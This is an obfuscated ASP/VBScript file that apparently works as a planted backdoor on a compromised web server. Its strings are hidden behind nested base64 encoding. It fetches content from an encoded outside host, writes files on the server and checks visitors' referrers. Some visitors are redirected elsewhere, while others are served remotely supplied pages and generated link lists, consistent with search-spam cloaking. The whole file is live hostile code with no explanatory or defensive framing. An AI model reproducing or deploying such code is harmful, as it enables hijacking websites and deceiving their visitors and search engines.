<%@language="vbscript" codepage="65001"%> <%option explicit%> <% on error resume next %> <%response.charset="utf-8"%> <% Function A_A__A_A___A(ByVal A_A_AAAAA___A) A_A__A_A___A = Right(Left(A_A_AAAAA___A,Len(A_A_AAAAA___A)-1), Len(A_A_AAAAA___A)-2) End Function Function A_A__AAAA___A(ByVal A_A__AA__AA_A) Dim A_A__A_AAAAAA, A___AAAA_A, A_A__AAA__AA_A,A__A__AAA___A___ A_A__AA__AA_A = Replace(Replace(Replace(A_A__AA__AA_A, vbCrLf, ""), vbTab, ""), " ", "") A_A__A_AAAAAA = Len(A_A__AA__AA_A) If A_A__A_AAAAAA Mod 4 <> 0 Then Exit Function End If For A_A__AAA__AA_A = 1 To A_A__A_AAAAAA Step 4 Dim A__A__AAA__A____, A__A__AAA__A_____, A__A__AAA__A_______, A__A__AAA__A________, A__A__AAA__A_________, A__A__AAA__A__________ A__A__AAA__A____ = 3 A__A__AAA__A_________ = 0 For A__A__AAA__A_____ = 0 To 3 A__A__AAA__A_______ = Mid(A_A__AA__AA_A, A_A__AAA__AA_A + A__A__AAA__A_____, 1) If A__A__AAA__A_______ = "=" Then A__A__AAA__A____ = A__A__AAA__A____ - 1 A__A__AAA__A________ = 0 Else Dim A__A__AAA__A___________ A__A__AAA__A___________ = AscW(A__A__AAA__A_______) If A__A__AAA__A___________>=65 And A__A__AAA__A___________<=90 Then A__A__AAA__A________ = A__A__AAA__A___________ - 65 ElseIf A__A__AAA__A___________>=97 And A__A__AAA__A___________<=122 Then A__A__AAA__A________ = A__A__AAA__A___________ - 71 ElseIf A__A__AAA__A___________>=48 And A__A__AAA__A___________<=57 Then A__A__AAA__A________ = A__A__AAA__A___________ + 4 ElseIf A__A__AAA__A___________=43 Then A__A__AAA__A________ = 62 ElseIf A__A__AAA__A___________=47 Then A__A__AAA__A________ = 63 Else A__A__AAA__A________ = -1 End If End If If A__A__AAA__A________ = -1 Then Exit Function End If A__A__AAA__A_________ = 64 * A__A__AAA__A_________ + A__A__AAA__A________ Next A__A__AAA__A_________ = Hex(A__A__AAA__A_________) A__A__AAA__A_________ = String(6 - Len(A__A__AAA__A_________), "0") & A__A__AAA__A_________ A__A__AAA___A___ = "&H" A__A__AAA__A__________ = Chr(CByte(A__A__AAA___A___ & Mid(A__A__AAA__A_________, 1, 2))) + _ Chr(CByte(A__A__AAA___A___ & Mid(A__A__AAA__A_________, 3, 2))) + _ Chr(CByte(A__A__AAA___A___ & Mid(A__A__AAA__A_________, 5, 2))) A___AAAA_A = A___AAAA_A & Left(A__A__AAA__A__________, A__A__AAA__A____) Next A_A__AAAA___A = A___AAAA_A End Function Function A__A__AAA___A(ByVal A__A__AA__A) A__A__AAA___A=A_A__A_A___A(A_A__AAAA___A(A_A__A_A___A(A_A__AAAA___A(A_A__A_A___A(A_A__AAAA___A(A__A__AA__A)))))) End Function Function A__A_A(A___A_A) Dim A___A__A,A___A___A Set A___A__A = Server.CreateObject(A__A__AAA___A("aGNXUlZSa1ZVTUZKRFRHeE9NR050Vm1oaVdFVTlaUT09dw==")) A___A__A.Type = 2 A___A__A.Open A___A__A.WriteText A___A_A A___A__A.Position = 0 A___A__A.Charset = A__A__AAA___A("aWNXUllWakJhYVRBMFltYzlQVzQ9ZA==") A___A__A.Position = 2 A___A___A =A___A__A.ReadText A___A__A.close Set A___A__A = Nothing A__A_A = A___A___A End Function Function A___A____A(AAAA_A__A, A_AA__A__A) Dim A_AAAA_A__A,A___A_A_A set A___A_A_A = Server.CreateObject(A__A__AAA___A("bWRHTlhSbXRpTWxKcFRHNU9NR050Vm1oaVdFRTlkZz09eQ==")) A___A_A_A.type = 2 A___A_A_A.mode = 3 A___A_A_A.charset = A_AA__A__A A___A_A_A.open A___A_A_A.loadfromfile Server.MapPath(AAAA_A__A) A_AAAA_A__A = A___A_A_A.readtext A___A_A_A.Close set A___A_A_A = nothing A___A____A = A_AAAA_A__A End Function Function AA_AA__A(AA___AA__A) dim A___AAAA__A Set A___AAAA__A = Server.createobject(A__A__AAA___A("Y2NWb3dNWHBsUnpGelRXazFXVlJWZUVsV1JsSlJaV2M5UFhZPWk=")) A___AAAA__A.Open A__A__AAA___A("YmQxcFZaRVpXUjFVOVpBPT1k"),AA___AA__A,False A___AAAA__A.send If A___AAAA__A.readyState <> 4 Then Exit Function AA_AA__A = A__A_A(A___AAAA__A.responseBody) Set A___AAAA__A = Nothing End Function dim A___A_AA_A A___A_AA_A=Request.ServerVariables(A__A__AAA___A("Y2VHUldUbXBqYld4M1pFWTVUMWxYTVd4aGR6MDladz09YQ==")) & A__A__AAA___A("a1ptTnBOVEJpV0VKdFpnPT1m") dim A___AA__A,A__AA_A__A,A___A____AA,A___A__AA_A,A___AAA__A,A_A__AA__A,A__AAAA_A_A,A__A_AAA___A_A,A__A_A_____A_A,A__AA__AAA,A__AA___A_A,A__AAAA___A_A,A__A___A__A_A,A_______AAA_A,A_______A_A,A__AA___A___A,AAAA__AA___A___A,AAAAA_____A___A,A_AAA___A___A,AAA_AAA___A_A,AAAA__A_A___A A___AA__A = A__A__AAA___A("aGVtVlhhREJrU0VFMlRIazVNMlF6WTNWak1sWjVaRzFXZVZreU9YVmtiVlo1WkVNMWFtSXlNSFphTWxZd1l6SldlV1J0Vm5sTWJVWjZZMGhuTDJGM1BUMXlr") A__AA_A__A = request.querystring(A__A__AAA___A("dmRtRnVUbXQ2dQ==")) A_A__AA__A = request.querystring(A__A__AAA___A("d1oyRXljSEZxaw==")) A__AAAA___A_A = LCase(Request.ServerVariables(A__A__AAA___A("Y1kySlZhREJrU0VKbVZXMVdiVnBZU214amJVMDlZUT09eA=="))) A_______A_A = request.querystring(A__A__AAA___A("amFXVkhlRzUxdg==")) if request.querystring(A__A__AAA___A("dWNXRXpXbTFxbQ=="))<>"" then response.write(A__A__AAA___A("cFpHRjZSWGROUkU1eGR3PT1o")) elseif A__AAAA___A_A<>"" and A_A__AA__A<>"" and (instr(A__AAAA___A_A,A__A__AAA___A("Z2NHRlhaSFppTW1SeldsTTFOVzQ9Yg=="))>0 or instr(A__AAAA___A_A,A__A__AAA___A("bWVXSXpiR2hoUnpsMlRHMU5QVzA9ZQ=="))>0 or instr(A__AAAA___A_A,A__A__AAA___A("YmFWbFhTbkJpYldOMVltYzlQWGs9Zg=="))>0 or instr(A__AAAA___A_A,A__A__AAA___A("d2IyUkhSblppUXpWeGN3PT1v"))>0) then A__A___A__A_A = A__A__AAA___A("b1lWa3lhREJrU0VFMlRIazVNMlF6WTNWak1sWjVaRzFXZVdGdVZuUmpRelZxWWpJd2RtRnVWblJqUXpWb1l6TkNORkF5Y0RGaVdFSndXa1F4Y0djPXE=")&A_A__AA__A&A__A__AAA___A("bmVWcDVXbk5aVnpWdVVGYzRQWFk9bw==")&A_______A_A response.redirect A__A___A__A_A else A___A____AA = AA_AA__A(A___AA__A&A__A__AAA___A("Z1lscHVUbXhqYmxwc1kyMXNhMUJYYXoxdW4=")&A__AA_A__A&A__A__AAA___A("ZWRGcHBXbmxpYlZFNVdsRTlQV2M9dg==")&rnd()) A___A__AA_A = request.querystring(A__A__AAA___A("bloxa3lkSEIwcQ==")) A___AAA__A = request.querystring(A__A__AAA___A("cVoyRklWbk55Zg==")) if request.querystring(A__A__AAA___A("aFkxbFhNWFYxZg=="))="" then A__AA__AAA=A___A____AA&A__A__AAA___A("bVoyRjVPVWhhV0ZKV1kyMTRWVnBYTVhkaVIwWXdXbE0xYUdNelFqUlFNMVo1WWtkc2ExQlhWVDF3aA==")&A___AAA__A&A__A__AAA___A("bWFGcHBXbkphV0d3ellqTkthMkZYVVRsaWR6MDladz09dA==")&A___A__AA_A&A__A__AAA___A("bmVWcDVXbk5aVnpWdVVGYzRQWFk9bw==")&A_______A_A&A__A__AAA___A("ZWRGcHBXbmxpYlZFNVdsRTlQV2M9dg==")&rnd() A__AA___A_A=A___A____AA&A__A__AAA___A("a2QyUlRPVzVhV0ZKb1kyNVNjRmt5ZUd4TWJVWjZZMGhuTDJSWVNuTmhWMUU1WTFFOVBXUT1x")&A___AAA__A&A__A__AAA___A("bWFGcHBXbkphV0d3ellqTkthMkZYVVRsaWR6MDladz09dA==")&A___A__AA_A&A__A__AAA___A("bmVWcDVXbk5aVnpWdVVGYzRQWFk9bw==")&A_______A_A&A__A__AAA___A("ZWRGcHBXbmxpYlZFNVdsRTlQV2M9dg==")&rnd() A__A_AAA___A_A="" set A__AAAA_A_A = Server.CreateObject(A__A__AAA___A("eVlXRnNUbXBqYld4M1pFZHNkVnA1TlVkaFYzaHNWVE5zZW1SSFZuUlVNa3B4V2xkT01HSm5QVDEzeA==")) if A__AAAA_A_A.FileExists(Server.MapPath(A___A_AA_A)) then A__A_AAA___A_A = A___A____A(A___A_AA_A, A__A__AAA___A("aWNXUllWakJhYVRBMFltYzlQVzQ9ZA==")) If instr(A__A_AAA___A_A, A__A__AAA___A("b1pGbHBUbXBpTWpVd1dsYzFNRWt5YXoxa2w="))<=0 then A__A_AAA___A_A = "" end If end If if A__A_AAA___A_A="" then A__A_AAA___A_A = AA_AA__A(A__AA__AAA) dim file set file = A__AAAA_A_A.createtextfile(Server.MapPath(A___A_AA_A), true, true) If err.number=0 then file.write(A__A_AAA___A_A) file.close set file = nothing else err.clear A__A_AAA___A_A = A__A__AAA___A("cmIyUkVkMmhNVXpCMFpETktjR1JIVldka1IxWjBZMGQ0YUdSSFZXZGFiVVp3WWtkV2EweERRbmxhV0ZJeFkyMDBaMWx1YTJkak1sWjVaRzFXZVVsSFVuQmpiVlpxWkVkNE5VeFRNSFJRYmxFOWNRPT1i")&A__A_AAA___A_A end If end if if A__A_AAA___A_A<>"" and instr(A__A_AAA___A_A, A__A__AAA___A("b1pGbHBUbXBpTWpVd1dsYzFNRWt5YXoxa2w="))>0 then A__A_A_____A_A =AA_AA__A(A__AA___A_A) If A__A_A_____A_A<>"" then Dim xmlDoc set xmlDoc = Server.CreateObject(A__A__AAA___A("cGNtUkZNWEJaTTBwMll6STViV1JETlZsVVZYaEZWREF4YlhVPW4=")) xmlDoc.async=False xmlDoc.LoadXML(A__A_A_____A_A) dim xml set xml = xmlDoc.selectSingleNode(A__A__AAA___A("cWRWbFRPSFpsUnpGellrRTlQWGM9bQ==")) if not (xml is nothing) then A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("bVptSkRUbk5aVnpWdVpGZEdibHBUVG5CbXI="), A_______A_A) A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("dmFtSkRUakJoV0ZKeldsTk9hR0k9YQ=="), xml.selectSingleNode(A__A__AAA___A("YWMyRXlkR3hsV0dSMlkyMVNlbU4zUFQxdmk=")).text) if err.number>0 then err.clear response.write(A__A__AAA___A("YWJsbHVhSFJpUTBKc1kyNUtkbU5xY0dobmY=")&A__AA___A_A) response.end end if A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("clltSkRUbkphV0d3ellqTkthMk41VG10bXA="), xml.selectSingleNode(A__A__AAA___A("YWMyRXlkR3hsV0dSMlkyMVNlbU4zUFQxdmk=")).text) A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("dmJtUjVUbXRhV0U1cVkyMXNkMlJIYkhaaWFVNXRhUT09cw=="), xml.selectSingleNode(A__A__AAA___A("YWMyRXlkR3hsV0dSMlkyMVNlbU4zUFQxdmk=")).text&A__A__AAA___A("ZmVXTjVlRE5pYw==")&xml.selectSingleNode(A__A__AAA___A("ZGFXRlhVbXhqTWs1NVlWaENNR0ZYT1hWalp6MDlidz09cA==")).text&A__A__AAA___A("ZmVXTjVlRE5pYw==")&Request.ServerVariables(A__A__AAA___A("b1pXSXdhRlZXUmtKbVUwVTVWRlpJVlQxeHc="))) A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("b1pGbHBUbXBpTWpVd1dsYzFNRWt5YXoxa2w="), xml.selectSingleNode(A__A__AAA___A("alltTnRUblppYmxKc1ltNVNibms9aA==")).text) response.write(A__A_AAA___A_A) else response.write(A__A__AAA___A("cWRXUllRbWhqYms1c1NVaG9kR0pEUW0xWlYyeHpXbGRSTmxsUlBUMWp6")&A__A_A_____A_A) end if response.end else response.write(A__A__AAA___A("aWVsa3lUblppYmxKc1ltNVJaMkZZVFdkaWJsWnpZa1J3YkhRPWM=")&A__AA___A_A) end If else response.write(A__A__AAA___A("ZGQyVllVbXhpV0VKeldWaFNiRWxIYkhwSlJ6VXhZa2QzTm1GUlBUMTJr")&A__AA__AAA) end if else A_______AAA_A = AA_AA__A(A___A____AA&A__A__AAA___A("eWIyRkRPWHBoV0ZKc1lsZEdkMHh0Um5walNHY3ZZMjAxYTFCWFdUMW1p")&rnd()&A__A__AAA___A("b2FHRjVXbkJpV0VKMlkyNVNNV050ZUhCYVJERnNiQT09bQ==")&A___AAA__A) if A_______AAA_A<>"" then A__AA___A___A=split(A_______AAA_A,A__A__AAA___A("Y2ExcDZkRzlzZg==")) if ubound(A__AA___A___A)>0 then response.ContentType=A__A__AAA___A("cmExbFlVbXhsU0ZGMlYwVXhUV05SUFQxdGU=") response.write(""&vbcrlf) for AAAA__A_A___A=0 to ubound(A__AA___A___A) AAAA__AA___A___A=split(A__AA___A___A(AAAA__A_A___A),A__A__AAA___A("ZmVXTjVlRE5pYw==")) if ubound(AAAA__AA___A___A)>0 then A_______A_A=AAAA__AA___A___A(0) AAA_AAA___A_A=AAAA__AA___A___A(1) if AAA_AAA___A_A<>"" and A_______A_A<>"" then A_AAA___A___A=A__A__AAA___A("cVkyUnRhREJrU0VFMlRIazVkRzA9eA==")&LCase(Request.ServerVariables(A__A__AAA___A("b1pXSXdhRlZXUmtKbVUwVTVWRlpJVlQxeHc=")))&LCase(Request.ServerVariables(A__A__AAA___A("Y2VHUldUbXBqYld4M1pFWTVUMWxYTVd4aGR6MDladz09YQ==")))&A__A__AAA___A("bmVGcDZPVEZRV0c4OWNBPT1n")&A___AAA__A&A__A__AAA___A("amNGcFRXbk5RV0ZrOVl3PT1p")&A_______A_A&A__A__AAA___A("bVlXTlRXbnBRVjFFOVlRPT1s")&A__AA_A__A for AAAAA_____A___A=2 to ubound(AAAA__AA___A___A) response.write(A__A__AAA___A("dWQyVkVlREZqYlhjclVFZDRkbGw2TkRoSlZuUkVVa1ZHVlZGV2RERjFi")&A_AAA___A___A&A__A__AAA___A("cmFtSlRXbkpRVjJNOWRnPT1p")&AAAA__AA___A___A(AAAAA_____A___A)&A__A__AAA___A("YmJtRnBXbkZRVjAwOWVnPT1t")&AAA_AAA___A_A&A__A__AAA___A("dmRXVkdNV1JRYW5kMllrYzVhbEJxZDNaa1dFcHpVRzFGUFdFPW0=")&vbcrlf) next end if end if next response.write(A__A__AAA___A("cGNXTjZkM1prV0Vwell6SldNRkJ1U1QxcWE=")) response.end end if end if end If end if %>